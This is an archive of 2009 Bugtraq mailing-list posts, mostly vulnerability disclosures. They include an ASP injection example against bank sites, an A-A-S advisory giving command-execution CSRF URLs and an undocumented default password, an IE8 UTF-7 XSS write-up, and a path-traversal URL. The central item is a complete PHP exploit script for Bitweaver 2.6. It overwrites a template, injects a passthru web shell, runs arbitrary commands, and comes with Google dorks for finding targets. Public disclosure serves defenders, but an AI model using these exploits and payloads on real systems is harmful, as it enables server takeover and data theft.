post parameter: Whattodo (default: FillForm)
FillForm & Response.write("ccccc")'
FillForm & Response.write("ccccc") %0d%0a Response.write("kerker") '
POC:
http://adl.csie.ncu.edu.tw/~militan/commbank1.jpg
http://adl.csie.ncu.edu.tw/~militan/commbank2.jpg
http://adl.csie.ncu.edu.tw/~militan/commbank4.jpg
IV. SOLUTION& CONCLUSION
-------------------------
Most banks in AU should reduce the enormous architecture of their website:
do not provide additional functions or make sure that these functions are secure.
The vulnerabilities have been fixed already.
regards
--
militan
Advanced Defense Lab, NCU Taiwan
From - Tue May 12 10:23:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000797e
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40286-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id DE830ED494
for <lists@securityspace.com>; Tue, 12 May 2009 10:19:30 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 45D301437F7; Tue, 12 May 2009 07:41:21 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 13171 invoked from network); 12 May 2009 01:05:46 -0000
X-LocaWeb-COR: locaweb_2009_x-mail
Message-ID: <4A08CB66.9070306@syhunt.com>
Date: Mon, 11 May 2009 22:05:42 -0300
From: "Felipe M. Aragon" <felipe@syhunt.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b3pre) Gecko/20090223 Thunderbird/3.0b2
MIME-Version: 1.0
To: bugtraq@securityfocus.com
Subject: Syhunt: A-A-S (Application Access Server) Multiple Security Vulnerabilities
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
Status:
Syhunt: A-A-S (Application Access Server) Multiple Security Vulnerabilities
Advisory-ID: 200905111
Discovery Date: 3.23.2009
Release Date: 5.11.2009
Affected Applications: A-A-S 2.0.48 and possibly older versions
Class: XSRF (Cross Site Request Forgery) Arbitrary Command Execution,
Undocumented Default Password, Insecure Password Storage
Status: Vendor informed. No fix available
Vendor: Klinzmann
Vendor URL:
http://www.klinzmann.name/a-a-s/index_en.html
Advisory URL:
http://www.syhunt.com/advisories/?id�s-multiple
The Common Vulnerabilities and Exposures (CVE) project has assigned the
following CVEs to these vulnerabilities:
* CVE-2009-1464 - index.aas job parameter XSRF Arbitrary Command
Execution Vulnerability
* CVE-2009-1465 - Default Admin Password Vulnerability
* CVE-2009-1466 - Insecure Password and Port Keyword Storage Vulnerability
----------------------------------------------------------------
Overview:
The Application Access Server is a popular freeware remote
administration tool that allows to start and stop applications or
services over the Internet using a Web-based client. It also allows to
uninstall applications, remotely shutdown and retrieve various
information about the current system the server is running on. It claims
to be able to "black list" aggressors and run in "Stealth mode", thus
evading port scanners.
The A-A-S server also supports DynDNS.org, which allows aliasing the
server IP to a static hostname.
Description:
The Application Access Server is vulnerable to extremely dangerous XSRF
(Cross Site Request Forgery) attacks. A remote attacker can use the XSRF
flaw to take control over the system running the A-A-S server. The issue
is triggered when a web page containing a malicious JavaScript code is
viewed. Such malicious code can automatically make requests to the AAS
server on the user's behalf.
Two additional vulnerabilities affect the Application Access Server: an
undocumented default password and insecure password storage. Technical
details are included below.
----------------------------------------------------------------
Details:
1) index.aas job parameter XSRF (Cross Site Request Forgery)
Arbitrary Command Execution
Example 1 - Arbitrary Command Execution / File Upload
See:
http://www.syhunt.com/advisories/aashack.txt
This exploit demonstration code automatically makes sequential requests
to the AAS server on the user's behalf (if the user is logged in to the
server), disabling undesired services, uploading and launching a file on
the target machine. It has been successfully tested on IE 7.0 and
Firefox 3.08. Should work on any browser that has javascript enabled
Please note that the server's security features like host access list
and port modes (Silent or Stealth) will not protect against the XSRF
flaw if enabled.
Example 2 - Arbitrary Command Execution:
<img src="
http://[AAS IP or DYNDNS
HOST]:6262/index.aas?job=command&action=[command]">
This for example would launch the Calculator:
/index.aas?job=command&action�lc.exe
Example 3 - Stopping Services:
<img src="
http://[AAS IP or DYNDNS
HOST]:6262/index.aas?job=setservice&action=stop&select=[servicename]">
This for example would disable Automatic Updates:
/index.aas?job=setservice&action=stop&select=wuauserv
Example 4 - Killing Processes:
<img src="
http://[AAS IP or DYNDNS
HOST]:6262/index.aas?job=killprocess&select=[exename]">
Example:
/index.aas?job=killprocess&select=notepad.exe
Additional commands are available via the job parameter.
2) Default Admin Password Vulnerability
By default, A-A-S installs with a default admin account. The account has
an undocumented default password of "wildbat" and all the security
rights enabled. These default rights allow to execute any commands on
the machine.
3) Insecure Password and Port Keyword Storage Vulnerability
A-A-S passwords and the port keyword (used to connect to the server when
in Stealth or Silent mode) are stored as a base64 string in the
"aas.ini" file, contained in the A-A-S install directory, with no
encryption at all. This allows the password or port keyword to be easily
retrieved.
----------------------------------------------------------------
Vulnerability Status:
The vendor was contacted, immediately responded and will be releasing a
fix soon.
As a workaround to the XSRF vulnerability, the vendor recommends
limiting the security rights in the user settings screen for each user:
- Disable the "Allow own command" option (command execution will not be
possible after this option is disabled).
- If possible also disable the "Enable kill process", "Start/Stop
service" and "Run application" rights.
Avoid completely navigating to other websites while logged in to the
Application Access Server.
Never start the server using its default settings (as explained above
machines running a default A-A-S may be easily compromised). Change the
password of the admin account first.
----------------------------------------------------------------
Credit:
Felipe Aragon
Syhunt Security Research Team, www.syhunt.com
---
Copyright � 2009 Syhunt Cyber Security Company
Disclaimer:
The information in this advisory is provided "as is" without warranty of
any kind. Details provided are strictly for educational and defensive
purposes.
Syhunt is not liable for any damages caused by direct or indirect use of
the information provided by this advisory.
From - Tue May 12 10:43:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00007981
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40287-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id C73A9ED352
for <lists@securityspace.com>; Tue, 12 May 2009 10:39:44 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id E6C73143A37; Tue, 12 May 2009 07:41:59 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 13904 invoked from network); 12 May 2009 01:44:41 -0000
Date: Mon, 11 May 2009 19:44:40 -0600
Message-Id: <200905120144.n4C1iedr027033@www5.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.420 (Entity 5.420)
From: nospam@gmail.it
To: bugtraq@securityfocus.com
Subject: Bitweaver <= 2.6 /boards/boards_rss.php / saveFeed() remote code
execution exploit
Status:
<?php
/*
Bitweaver <= 2.6 /boards/boards_rss.php / saveFeed() remote code execution exploit
by Nine:Situations:Group::bookoo
php.ini independent
site:
http://retrogod.altervista.org/
software site:
http://www.bitweaver.org/
You need an user account and you need to change your "display name" in:
{php}passthru($_SERVER[HTTP_CMD]);{/php}
Register and click on Preferences, look at the "User Information" tab, inside the
"Real name" text field write the code above, then click on Change.
Google dorks:
"by bitweaver" Version powered +boards
"You are running bitweaver in TEST mode"|"bitweaver * White Screen of Death"
Versions tested: 2.6.0, 2.0.2
Vulnerability type: folder creation, file creation, file overwrite, PHP code injection.
Explaination:
look at /boards/boards_rss.php, line 102:
...
echo $rss->saveFeed( $rss_version_name, $cacheFile );
...
it calls saveFeed() function in an insecure way, arguments are built on
$_REQUEST[version] var and may contain directory traversal sequences...
now look at saveFeed() function in /rss/feedcreator.class.php
...
function saveFeed($filename="", $displayContents=true) {
if ($filename=="") {
$filename = $this->_generateFilename();
}
if ( !is_dir( dirname( $filename ))) {
mkdir_p( dirname( $filename ));
}
$feedFile = fopen($filename, "w+");
if ($feedFile) {
fputs($feedFile,$this->createFeed());
fclose($feedFile);
if ($displayContents) {
$this->_redirect($filename);
}
} else {
echo "<br /><b>Error creating feed file, please check write permissions.</b><br />";
}
}
}
...
regardless of php.ini settings, you can create arbitrary folders, create/overwrite
files, also you can end the path with an arbitrary extension, other than .xml passing
a null char.
ex.
http://host/path_to_bitweaver/boards/boards_rss.php?version=/../../../../bookoo.php%00
now you have a bookoo.php in main folder:
<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="FeedCreator 1.7.2" -->
<?xml-stylesheet href="
http://www.w3.org/2000/08/w3c-synd/style.css" type="text/css"?>
<rss version="0.91">
<channel>
<title> Feed</title>
<description></description>
<link>
http://192.168.0.1</link>
<lastBuildDate>Sat, 09 May 2009 20:01:44 +0100</lastBuildDate>
<generator>FeedCreator 1.7.2</generator>
<language>en-us</language>
</channel>
</rss>
You could inject php code by the Host header (but this is used to build filenames and
create problems, also most of servers will respond with an http error) inside link tag
or by your "display name" in title tag, ex.:
http://host/path_to_bitweaver/boards/boards_rss.php?version=/../../../../bookoo_ii.php%00&u=bookoo&p=password
and here it is the new file (if your display name is "<?php passthru($_GET[cmd]; ?>"):
<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="FeedCreator 1.7.2" -->
<?xml-stylesheet href="
http://www.w3.org/2000/08/w3c-synd/style.css" type="text/css"?>
<rss version="0.91">
<channel>
<title> Feed (<?php passthru($_GET[cmd]; ?>))</title>
<description></description>
<link>
http://192.168.0.1</link>
<lastBuildDate>Tue, 12 May 2009 00:30:54 +0100</lastBuildDate>
<generator>FeedCreator 1.7.2</generator>
<language>en-us</language>
</channel>
</rss>
if short_open_tag in php.ini is off (because of "<?xml ..." preamble
generating a parse error with short_open_tag = on), you can now launch commands:
http://host/path_to_bitweaver/bookoo_ii.php?cmd=ls
However, to bypass short_open_tag = on you can inject in a template file, ex.:
http://host/path_to_bitweaver/boards/boards_rss.php?version=/../../../../themes/templates/footer_inc.tpl%00&u=bookoo&p=password
Now footer_inc.tpl looks like this:
<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="FeedCreator 1.7.2" -->
<?xml-stylesheet href="
http://www.w3.org/2000/08/w3c-synd/style.css" type="text/css"?>
<rss version="0.91">
<channel>
<title> Feed ({php}passthru($_GET[CMD]);{/php})</title>
<description></description>
<link>
http://192.168.0.1</link>
<lastBuildDate>Tue, 12 May 2009 00:43:01 +0100</lastBuildDate>
<generator>FeedCreator 1.7.2</generator>
<language>en-us</language>
</channel>
</rss>
note that the shellcode is in Smarty template syntax ...
Now you can launch commands from the main page:
http://host/path_to_bitweaver/index.php?cmd=ls%20-la
or
http://host/path_to_bitweaver/wiki/index.php?cmd=ls%20-la
Additional notes:
Without to have an account you can create a denial of service condition, ex. by replacing the main index.php:
http://host/path_to_bitweaver/boards/boards_rss.php?version=/../../../../index.php%00
I found also a bug in Smarty template system, against windows servers you can launch commands
with this:
{math equation="`^C^A^L^C`"}
They filtered non-math functions, but they forgot php bacticks operators. This is
the same of launch exec() !
*/
$err[0] = "[!] This script is intended to be launched from the cli!";
$err[1] = "[!] You need the curl extesion loaded!";
if (php_sapi_name() <> "cli") {
die($err[0]);
}
if (!extension_loaded('curl')) {
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
false;
if ($win) {
!dl("php_curl.dll") ? die($err[1]) :
nil;
} else {
!dl("php_curl.so") ? die($err[1]) :
nil;
}
}
function syntax() {
print (
"Syntax: php ".$argv[0]." [host] [path] [user] [pass] [cmd] [options] \n". "Options: \n". "--port:[port] - specify a port \n". " default->80 \n". "--proxy:[host:port] - use proxy \n". "Examples: php ".$argv[0]." 192.168.0.1 /bitweaver/ bookoo pass ls \n". " php ".$argv[0]." 192.168.0.1 / bookoo pass ls -a --proxy:1.1.1.1:8080\n". " php ".$argv[0]." 192.168.0.1 / bookoo pass cat ../kernel/config_inc.php --port:81");
die();
}
error_reporting(E_ALL);
$host = $argv[1];
$path = $argv[2];
$_usr = $argv[3];
$_pwd = $argv[4];
$_cmd = "";
for ($i = 5; $i < $argc; $i++) {
if ((!strstr($argv[$i], "--proxy:")) and (!strstr($argv[$i], "--port:"))) {
$_cmd .= " ".$argv[$i];
}
}
$argv[5] ? print("[*] Command->$_cmd\n") :
syntax();
$_use_proxy = false;
$port = 80;
for ($i = 3; $i < $argc; $i++) {
if (stristr($argv[$i], "--proxy:")) {
$_use_proxy = true;
$tmp = explode(":", $argv[$i]);
$proxy_host = $tmp[1];
$proxy_port = (int)$tmp[2];
}
if (stristr($argv[$i], "--port:")) {
$tmp = explode(":", $argv[$i]);
$port = (int)$tmp[1];
}
}
function _s($url, $cmd, $is_post, $request) {
global $_use_proxy, $proxy_host, $proxy_port, $cookie;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
if ($is_post) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request."\r\n");
}
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Googlebot/1.0 (googlebot@googlebot.com
http://googlebot.com/)");
curl_setopt($ch, CURLOPT_TIMEOUT, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
$headers = array("Cookie: $cookie", "Cmd: ".$cmd." > ./../readme");
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
if ($_use_proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
}
$_d = curl_exec($ch);
if (curl_errno($ch)) {
die("[!] ".curl_error($ch)."\n");
} else {
curl_close($ch);
}
return $_d;
}
$my_template = "themes/templates/footer_inc.tpl";
$url = "
http://$host:$port".$path."boards/boards_rss.php";
$_o = _s($url, "", 0, "");
if (stristr($_o, "404 Not Found")) {
die ("[!] Vulnerable script not found!\n");
}
//catch site cookie, this is needed for version compatibility, not needed in 2.6.0
$_tmp = explode("Set-Cookie: ", $_o);
$cookie = "";
for ($i = 1; $i < count($_tmp); $i++) {
$_tmpii = explode(";", $_tmp[$i]);
$cookie .= $_tmpii[0]."; ";
}
print("[*] Cookie->".$cookie."\n");
$_o = _s($url, "", 1, "version=/\x00&");
$_o = _s($url, "", 1, "u=$_usr&p=$_pwd&version=/../../../../$my_template\x00&");
if (stristr($_o, "<?xml version=\"1.0\" encoding=\"UTF-8\"?>")) {
print ("[*] '$my_template' successfully overwritten!\n");
} else {
print($_o);
die("[!] Error! No write permission on /".$my_template." ...");
}
if (stristr($_o, "{php}passthru(\$_SERVER[HTTP_CMD]);{/php}")) {
print ("[*] Shell injected!\n");
} else {
print($_o);
die("[!] Error! Shell not injected!");
}
$url = "
http://$host:$port".$path."wiki/index.php";
$_o = _s($url, $_cmd, 0, "");
$url = "
http://$host:$port".$path."readme";
$_o = _s($url, "", 0, "");
if (stristr($_o, "404 Not Found")) {
die ("[!] stdout file not found!\n");
} else {
print("[*] Success!\n".$_o);
}
?>
#original url:
http://retrogod.altervista.org/9sg_bitweaver_260_sh.htm
From - Tue May 12 10:53:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00007982
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40290-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 79D28ED35A
for <lists@securityspace.com>; Tue, 12 May 2009 10:49:39 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id EEA66143A78; Tue, 12 May 2009 07:42:57 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 17242 invoked from network); 12 May 2009 04:53:55 -0000
Date: 12 May 2009 04:53:55 -0000
Message-ID: <20090512045355.23432.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.411 (Entity 5.404)
From: Inferno@Securethoughts.com
To: bugtraq@securityfocus.com
Subject: Exploiting IE8 UTF-7 XSS Vulnerability using Local Redirection
Status:
Exploiting IE8 UTF-7 XSS Vulnerability using Local Redirection
May 12th, 2009
Conventions:
Attacker Domain - Securethoughts.com
Target Domain - 50webs.com
If you don�t remember, there was an important XSS vulnerability reported in all major browsers a while ago - IE7, Firefox and Opera. More Information is available in the Secunia advisories
http://secunia.com/advisories/search/?search=utf-7+charset+inheritance. The vulnerability was that if you don�t specify a charset in your application page, then it is susceptible to inherit the charset in the parent page via iframes. So, if you accidently land on an evil site, an attacker might be able to steal your application session since your usual XSS prevention stuff [<,>,",',etc] will not filter the utf-7 encoded chars and XSS will execute in your vulnerable domain. Proof of Concept that works in IE7 but not in IE8 -
http://www.securethoughts.com/security/ie8utf7/ie7utf-7.html
This vulnerability was patched in Firefox 2.0.0.2, Opera 9.20 and recently in Internet Explorer 8. Ideally, we should not be vulnerable to this attack anymore. However, I have found a way to attack the fix that was done in Internet Explorer 8. I have tested it working with IE8 RC1 and final release version IE8.0.6001.18702. I call this a �Local Redirection Attack�.
The attack works as follows:
1. You are authenticated to vulnerable domain e.g. 50webs.com.
2. You land onto the evil site via link -
http://www.securethoughts.com/security/ie8utf7/ie8utf-7.html.
3. The page loads into your IE8 browser.
4. IE8 thinks that it is loading a child page -
[
http://www.securethoughts.com/security/ie8utf7/utf-71.html] from the same domain and hence removes the restriction on charset inheritance.
5. This is where Local Redirection Attack comes into play. The attacker sets a temporary redirect on the child page to vulnerable site [
http://webappsec.50webs.com/utf-71.html]. Make sure that the link to vulnerable site is a page with your UTF-7 injected characters [Persistent/Reflected XSS]. In this case, my utf-71.html page on 50webs.com has a persistent XSS with UTF-7 characters.
6. The XSS executes in the context of vulnerable site. E.g. if you see below, you can see my 50webs.com member cookie appended with �XSS� in an alert box.
I have been in touch with Jack from Microsoft Security Response Center (MSRC) team for the last 2 months. I would like to thank the Microsoft Security Team for their timely responses and letting me discuss these issues with the security community. They are actively working to resolve this issue and a fix for this vulnerability is expected to arrive in the next version of Internet Explorer, IE9.
Thanks and Regards,
Inferno
Security Researcher
www.securethoughts.com
From - Tue May 12 11:13:11 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00007987
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40296-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 2BF1EED3EF
for <lists@securityspace.com>; Tue, 12 May 2009 11:09:24 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 6B978143741; Tue, 12 May 2009 08:52:46 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 26326 invoked from network); 12 May 2009 14:02:53 -0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=gamma;
h=domainkey-signature:received:received:subject:from:to:content-type
:date:message-id:mime-version:x-mailer:content-transfer-encoding;
bh=i6LxhrYrO7LAUO+iwMVfZeAA6zNffl/jOOg2kgjW9VA=;
b=qDOj8yCNCW+fArPMegxtLZylo82pYU1mmO3Ts2ZJP9UJzik4HTd3jChqaVlBgjw/X2
Bihe5Xeg+etxoIInYjzWaAjMZxJGE50pfX/5AuHbid4zlg5PCn3PWb5CHzz2Wif0L3W5
XexhDArY8DjLGVoh1pF7C0conZu/D2omFugGYDomainKey-Signature: a=rsa-sha1; c=nofws;
d=gmail.com; s=gamma;
h=subject:from:to:content-type:date:message-id:mime-version:x-mailer
:content-transfer-encoding;
b=HQWF1wSKjV5ZUEMpOLdjoYmCgLdJTO0hBz7OQxooxR5uCn6uuvFZEDatNJjjP7MijY
LsIefhf8jHi+PHxCOzB1nk32rWIHhPRzIkcZTQsyXtBQ3Ewi/6EquSChT3u8if8J4IQI
DamoSQPUSGbs21KPJ0e2jf/kolppuNSPa33SUSubject: The security tools list, new version with more than 200 new tools!
From: Ying <ropstrip@gmail.com>
To: "bugtraq@securityfocus.com" <bugtraq@securityfocus.com>
Content-Type: text/plain
Date: Tue, 12 May 2009 15:02:16 +0200
Message-Id: <1242133336.4979.19.camel@localhost>
Mime-Version: 1.0
X-Mailer: Evolution 2.24.5
Content-Transfer-Encoding: 7bit
Status:
Hello everyone,
I would like to inform you that the new list of security tools, and the
website, has been updated. The changes were:
- The information was classified by type and operating system.
- I have added new types of tools, adding not only tools but also
dictionaries and rainbow tables, for example.
Thank you very much for all that have worked with your contributions
to the list. I hope you sigais doing.
Remembering the URL of site:
http://securitytoolslist.domandhost.com
Best regards.
From - Tue May 12 11:33:10 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000798c
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40297-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 9D6D7ED42F
for <lists@securityspace.com>; Tue, 12 May 2009 11:29:37 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 85591143755; Tue, 12 May 2009 08:53:10 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 27420 invoked from network); 12 May 2009 14:17:54 -0000
Message-ID: <000901c9d30c$69b074d0$686b880a@softpro.corp>
From: "Garrett M. Groff" <groffg@gmgdesign.com>
To: <dpo5003@gmail.com>, <bugtraq@securityfocus.com>
References: <00ca01c9d172$69c33ed0$010000c0@ml><D4C6B087FA434EACB6CD10AEF2C8FD04@e2000.local> <352398549-1242094456-cardhu_decombobulator_blackberry.rim.net-153322763-@bxe1021.bisx.prod.on.blackberry>
Subject: Re: Insufficient Authentication vulnerability in Acer notebooks
Date: Tue, 12 May 2009 10:17:41 -0400
MIME-Version: 1.0
Content-Type: text/plain;
format=flowed;
charset="Windows-1252";
reply-type=original
Content-Transfer-Encoding: 8bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2900.3138
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.3350
X-Sender-Ident: groffg@gmgdesign.com
Status:
Try the "net user password ..." command (from the CMD prompt). That'll save you from
having to do it in safe mode.
----- Original Message -----
From: <dpo5003@gmail.com>
To: <bugtraq@securityfocus.com>
Sent: Monday, May 11, 2009 10:14 PM
Subject: Re: Insufficient Authentication vulnerability in Acer notebooks
> That is I standard issue with Windows XP. With any installation of it you have to boot
> in safe mode and manually set a password on the hidden admin account.
>
> -Dave Ortiz
>
> Sent from my Verizon Wireless BlackBerry
>
> -----Original Message-----
> From: David S�nchez Mart�n <dsanchez@e2000.es>
>
> Date: Mon, 11 May 2009 15:55:04
> To: <bugtraq@securityfocus.com>
> Subject: RE: Insufficient Authentication vulnerability in Acer notebooks
>
>
> hi folk,
>
> Is not that a simple design decission? (truly brain-dead, but a
> conscious decission).
>
>
>
>
>> -----Mensaje original-----
>> De: MustLive [mailto:mustlive@websecurity.com.ua]
>> Enviado el: domingo, 10 de mayo de 2009 15:23
>> Para: bugtraq@securityfocus.com
>> Asunto: Insufficient Authentication vulnerability in Acer notebooks
>>
>> Hello SecurityFocus!
>>
>> I want to warn you about vulnerability in Acer notebooks.
>>
>> It's Insufficient Authentication vulnerability. Which I found
>> 28.04.2009 in
>> two my notebooks. At these notebooks Windows XP Home Rus is
>> using, in case
>> of other OS the vulnerability can be also present.
>>
>> In Windows XP Home in default administrator's account
>> �Administrator� there
>> is empty password. And it does not set equal to password of
>> first admin,
>> when admin account is creating during first start of notebook
>> (as it happens
>> during installation of Windows XP). So with physical access
>> to notebook,
>> anybody can enter into the system with administrator's rights.
>>
>> Vulnerable models of notebooks: Acer TravelMate 2313LC, Acer
>> TravelMate
>> 2413LC and potentially other models.
>>
>> I mentioned about these vulnerability at my site
>> (
http://websecurity.com.ua/3127/).
>>
>> Best wishes & regards,
>> MustLive
>> Administrator of Websecurity web site
>>
http://websecurity.com.ua
>>
>>
>
>
From - Tue May 12 11:43:11 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000798d
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40293-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 9524AED434
for <lists@securityspace.com>; Tue, 12 May 2009 11:36:55 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 89396143C22; Tue, 12 May 2009 07:44:02 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 21390 invoked from network); 12 May 2009 10:11:54 -0000
Date: Tue, 12 May 2009 17:11:32 +0700
From: Nam Nguyen <namn@bluemoon.com.vn>
To: Inferno@SecureThoughts.com
Cc: bugtraq@securityfocus.com, full-disclosure@lists.grok.org.uk
Subject: Re: Universal XSS in all Google Services
Message-Id: <20090512171132.9380da9a.namn@bluemoon.com.vn>
In-Reply-To: <20090509020315.3672.qmail@securityfocus.com>
References: <20090509020315.3672.qmail@securityfocus.com>
Organization: Blue Moon Consulting Co., Ltd
X-Mailer: Sylpheed 2.6.0 (GTK+ 2.10.14; i686-pc-mingw32)
X-Face: %+(H7C$0a8LB8XMkc"K%gT{Ny:af!{~Kx,"oW:VyYU3XVpj7]_*K/LagpjtxPxGAx5]H~rZ
jt34BT2#QU^_v@;WVq)~9x(V|/V,;>5tn$-{as]iM9Od2[c2n:9~tKGhKnlP+;$~.G,15cl_,fn+1B
)XPZ@IsoAi=.tFTXEf8SS$G3#JgV7SE!=cs%2N3+MmI6,pfkB
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Status:
This is much better than its competitor (Yxxxx! Inc).
We reported critical security bug to them twice. All lost to their spam quarantine. When they managed to get back to us, and white-listed our addresses, we sent the alert again, and a reminder after. We weren't sure if those two got through, but we haven't heard from them either.
Anyway, the bug was resolved (without due credit) in about a month or two.
http://careers.yxxxx.com/pdfdownload.php?file=/../pdfdownload.php
This serves as a contrast to the prompt response that Google Security Team displayed.
Cheers
Nam
On 9 May 2009 02:03:15 -0000
Inferno@SecureThoughts.com wrote:
> Universal XSS Vulnerability in all Google Services can compromise your personal information
> May 8th, 2009
>
> Vulnerability Reported: 04/18/2009 9.33 pm
